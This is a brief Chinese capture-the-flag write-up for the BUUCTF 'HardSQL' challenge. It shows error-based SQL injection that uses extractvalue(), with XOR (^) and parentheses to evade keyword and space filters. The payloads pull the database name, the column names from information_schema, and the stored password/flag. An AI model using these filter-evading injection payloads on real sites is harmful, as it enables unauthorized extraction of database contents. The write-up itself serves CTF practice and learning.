BUUCTF [极客大挑战 2019]HardSQL extractvalue函数的利用
打开靶机,注入题,先构造简单注入语句 1‘ or 1=1#
通过尝试多几次,用括号包含()代替空格,and被过滤了,那就用异或符^链接
admin'/**/ununionion/**/seselectlect/**/1,group_concat(flag),3/**/from/**/flag%25
进行注入,也被过滤了,看了大佬的WP
用extractvalue(1,concat(0x7e,(select(database()))))%23
来注入
extractvalue()** :对XML文档进行查询的函数 语法:extractvalue(目标xml文档,xml路径) 第一个参数 : 第一个参数可以传入目标xml文档 第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
回显了一个geek的库,然后就是常规注入了
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
抠门,传了半拉flag,用right和left语句
得到flag
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15063762.html